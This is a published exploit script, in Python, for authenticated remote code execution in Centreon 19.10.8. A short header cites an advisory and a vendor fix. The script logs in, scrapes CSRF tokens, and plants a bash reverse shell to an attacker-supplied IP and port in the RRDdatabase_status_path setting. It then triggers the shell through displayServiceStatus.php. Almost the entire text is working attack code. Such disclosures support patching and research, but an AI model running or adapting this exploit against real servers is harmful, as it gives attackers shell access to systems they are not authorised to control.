# Exploit Title: Centreo 19.10.8 - 'DisplayServiceStatus' Remote Code Execution
# Date: 2020-03-25
# Exploit Author: Engin Demirbilek
# Vendor Homepage: https://www.centreon.com/
# Version: 19.10.8
# Tested on: CentOS
# Advisory link: https://engindemirbilek.github.io/centreon-19.10-rce
# Corresponding pull request on github: https://github.com/centreon/centreon/pull/8467#event-3163627607 

#!/usr/bin/python

import requests
import sys
import warnings
from bs4 import BeautifulSoup

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')

if len(sys.argv) < 6:
	print "Usage: ./exploit.py http(s)://url username password listenerIP listenerPort"
	exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]


req = requests.session()
print("[+] Retrieving CSRF token...")
loginPage = req.get(url+"/index.php")
response = loginPage.text
s = BeautifulSoup(response, 'html.parser')
centreon_token = s.find('input', {'name':'centreon_token'})['value']

login_creds = {
    "useralias": username,
    "password": password,
    "submitLogin": "Connect",
    "centreon_token": centreon_token
}


print("[+] Sendin login request...")
login = req.post(url+"/index.php", login_creds)

if "incorrect" not in login.text:
    print("[+] Logged In, retrieving second token")

    page = url + "/main.get.php?p=50118"
    second_token_req = req.get(page)
    response = second_token_req.text
    s = BeautifulSoup(response, 'html.parser')
    second_token = s.find('input', {'name':'centreon_token'})['value']

    payload = {
        "RRDdatabase_path": "/var/lib/centreon/metrics/",
        "RRDdatabase_status_path": ";bash -i >& /dev/tcp/{}/{} 0>&1;".format(ip, port),
        "RRDdatabase_nagios_stats_path": "/var/lib/centreon/nagios-perf/",
        "reporting_retention": "365",
        "archive_retention": "31",
        "len_storage_mysql": "365",
        "len_storage_rrd": "180",
        "len_storage_downtimes": "0",
        "len_storage_comments": "0",
        "partitioning_retention": "365",
        "partitioning_retention_forward": "10",
        "cpartitioning_backup_directory": "/var/cache/centreon/backup",
        "audit_log_option": "1",
        "audit_log_retention": "0",
        "submitC": "Save",
        "gopt_id": "",
        "o": "storage",
        "o": "storage",
        "centreon_token": second_token,


    }
    print("[+] Sendin payload...")
    send_payload = req.post(page, payload)

    trigger_url= url + "/include/views/graphs/graphStatus/displayServiceStatus.php"
    print("[+] Triggerring payload...")
    trigger = req.get(trigger_url)

    print("[+] Check your listener !...")

else:
    print("[-] Wrong credentials")
    exit()